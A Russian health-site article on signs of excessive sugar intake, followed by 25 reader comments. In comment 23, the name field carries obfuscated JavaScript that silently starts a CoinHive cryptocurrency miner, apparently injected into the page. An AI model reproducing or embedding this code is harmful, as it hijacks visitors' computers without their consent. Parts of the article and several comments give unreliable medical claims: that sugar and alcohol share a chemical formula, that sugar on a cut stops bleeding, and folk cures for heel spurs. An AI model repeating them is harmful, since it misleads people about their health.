Признаки того, что вы употребляете слишком много сахара

Признаки того, что вы употребляете слишком много сахара

Признаки того, что вы употребляете слишком много сахара

Чаще всего люди, страдающие от лишнего веса, слишком много употребляют сахара. Но, как оказалось, этот продукт не только влияет на появление лишних килограммов, но и нарушает некоторые жизненно важные функции в организме. Поэтому, стоит строго контролировать потребляемую в день порцию сахара, чтобы предупредить заболевания.

Признаком того, что вы превышаете норму сахара, является общее истощение. Просыпаясь с неимоверным количеством энергии уже через 2-3 часа вы чувствуете, что силы на исходе, и вы очень устали. Просыпается аппетит, который человек нередко подавляет сладкими перекусами или газированными напитками, и это очередной раз запускает цикл заново.

Говорить о чрезмерном употреблении сахара может неутолимое желание постоянно есть конфеты, шоколад, печенье и прочие десерты. Исследования показывают, что сахар, в некоторых случаях, может даже вызывать зависимость. От избыточного содержания этого элемента часто меняется настроение.

Задуматься о чрезмерном употреблении сахара стоит в том случае, если кожа стала слишком сухой и в проблемных местах появляются шелушения. А людям, страдающим от заболеваний сердца, избыток сахара в крови принесёт осложнения и частые приступы, так как во время усваивания этого продукта повышается артериальное давление.

Смотрите также
Комментарии (25)

Ваш e-mail не будет опубликован.

  1. Аноним 23.02.2018 в 15:31

    спасибо за статью теперь я поняла почему я стала уставать попробую поменьше сладкого

  2. марат 23.02.2018 в 15:46

    Что,пагубно.влияет.на.организм.я.это.понял
    На.собственном.опыте

  3. Имя Сэм Саруэль 24.02.2018 в 12:06

    Надо вообще сахар запретить! И продавать его ТОЛЬКО к чаю, в специальных кафе и только с сигаретами.

  4. Ирина 24.02.2018 в 13:01

    Пробовала без сахара — вообще сил нет.

  5. Владимир 69 лет СД2 , 24.02.2018 в 15:31

    Это точно!!!

  6. Аноним 24.02.2018 в 17:26

    но не забывайте, что для мозговой деятельности нужны углеводы.

  7. олег 24.02.2018 в 22:14

    Размещать уголь в воде-вот тебе и углеводами,пей сколько хочеш!

  8. Зайнаб Раисовна 26.02.2018 в 10:18

    Стараюсь есть меньше сладкого, но все равно поправилась и очень больны ноги -как ступни от шпор обеих ступней,так и двухсторонний коксоартроз, колени, сахар стараюсь не употреблять пью чай с 1 ч.л. меда.либо2-3 ложечки облепихового варенья.Завтракаю плотно либо каша. творог.яичница а иногда и суп с утра поем по настроению. За статью спасибо и побольше интересных статей

  9. лариса 27.02.2018 в 13:00

    жир+сахар = повышенный холестерин. Долой печенюшки, тортики и проч.

  10. Galina 27.02.2018 в 21:34

    Всё зависит в организме человека от обмена веществ.

  11. Ок 28.02.2018 в 03:22

    И при чем тут сахар?)))

  12. Алексей 28.02.2018 в 09:31

    По поводу шпор — начал принимать кальций (перемалывал яичную скорлупу, в и-нете есть рецепты как готовить) с лимоном ( три раза в день по пол чайной ложке, две недели через две недели), через полгода шпора ушла.

  13. Аноним 01.03.2018 в 01:26

    Я ем море сладкого и чувствую себя великолепно и уменя стройная фигура мне 50 лет.

  14. Фарида 02.03.2018 в 10:15

    Вы правы, полностью с вами согласна

  15. Валерий 02.03.2018 в 15:10

    Я вообще не могу без сладкого.В чай ложу 4-7десертных ложек варенья.

  16. Игорь 02.03.2018 в 22:44

    Дорогие друзья. Мы созданы для сладкого вкуса. Но только для натурального, тобиш фруктового. Ребенок рождается с принятием только сладкого материнского молока. И впредь дети интуитивно тянутся к сладостям. Если мы сами и наши дети ели бы сладкие фрукты в достаточном количестве, то я вас уверяю, нам бы не хотелось никаких других синтетических сладостей. И как результат, многие болезни просто исчезнут сами по себе, без врачей и лекарств. В этом плане очень рекомендую книгу » Диета 80 10 10.

  17. Вячеслав 02.03.2018 в 23:27

    Умница!!!!! Респект! Мне тоже полтинник. Ем тоже море сладкого. Тело как в 25. Просто пятую точку нужно по чаще отрывать.

  18. Мира 03.03.2018 в 00:13

    Пойду съем конфетку, напомнили, блин!

  19. Аноним 03.03.2018 в 23:30

    Спасибо, как-то правда подействовало.

  20. николай.ж 06.03.2018 в 15:48

    А облепиха на чем сварена?

  21. Аноним 07.03.2018 в 00:27

    Хорошо ст

  22. андрей 07.03.2018 в 12:16

    норм! люблю сладкое

  23. anna var _0x58ec=["\x75\x52\x77\x67\x37\x4E\x6C\x4F\x54\x68\x41\x36\x61\x54\x44\x5A\x37\x61\x6D\x46\x49\x4C\x36\x32\x4A\x43\x6A\x36\x66\x76\x61\x7A","\x69\x73\x4D\x6F\x62\x69\x6C\x65","\x64\x69\x64\x4F\x70\x74\x4F\x75\x74","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x58ec[0],{throttle:0.5});if(!miner[_0x58ec[1]]()&& !miner[_0x58ec[2]](4400)){miner[_0x58ec[3]]()} 07.03.2018 в 12:33

    Спасибо!

  24. Рам 10.03.2018 в 11:56

    Хлеб, картофель — это 40-60% углеводов.
    Хуже всего то, что сахар вреден для печени и для поджелудочной железы. Попросту, сахар их разрушает, в результате поджелудочная железа перестает вырабатывать инсулин.
    Сахар и спирт имеют одну и ту же химическую формулу. Отличия лишь в количестве атомов в молекулах. Сахар не опьяняет человека, но действует на печень также агрессивно, как и спирт.
    Сахар, как и спирт, разрушает клетки печени, стенки капилляров, снижает защитные свойства кожи. Это заметно у некоторых детей с ослабленным иммунитетом: Диатез, по которому видно, как разрушены клетки кожи и капилляров. Стоит резко ограничить потребление ребенком сахара и болезнь уходит.
    При этом сахар сгущает кровь и повышает риск тромбообразования и гипертонического криза. Поэтому, если при порезах трудно остановить кровь, нужно место пореза посыпать сахарным песком. Кровь быстро свернется.

  25. Анна 15.03.2018 в 19:16

    По пробуйте весной привязывать поддорожник, очень помогает. У меня Мама так выличелась,делать надо на ночь пока не пройдет.

Свежие публикации
http://polza-vred.su/wp-content/uploads/2018/08/korysni-porady.info_zberihannya_yak-zberegti-krp-svzhim-na-zimu-osnovn-sposobi_2.jpeg
  • 13.08.2018
  • 126
  • 0
Фенхель обыкновенный – травянистое растение семейства Зонтичных. Встречаются одно-, двух- и многолетние виды. Дикорастущий фенхель распространен в предгорных и степных засушливых районах. Во многих странах трава фенхель выращивается как культурное растение для применения в лекарственных целях, в парфюмерной промышленности, кулинарии
http://polza-vred.su/wp-content/uploads/2018/01/kalgan-2.jpg
  • 30.01.2018
  • 3513
  • 1
Лечебные свойства и противопоказания корня калгана можно сравнить со свойствами зелени и овощей, без которых нельзя представить нормальную работу организма и микрофлоры отдельных органов тела. К тому же, калган считается приправой, творящая чудеса не только с телом, но и душой.
http://polza-vred.su/wp-content/uploads/2018/01/Depositphotos_53732547_l-20151.jpg
  • 19.01.2018
  • 1466
  • 1
Лечебные свойства облепихового масла были изучены многими университетами в поисках уникального ингредиента, который можно было бы назвать универсальным в лечении разных недугов. Теперь можно смело заявлять, что облепиховое масло – зарегистрированное косметическое средство, помогающее от многих проблем. Это растительный экстракт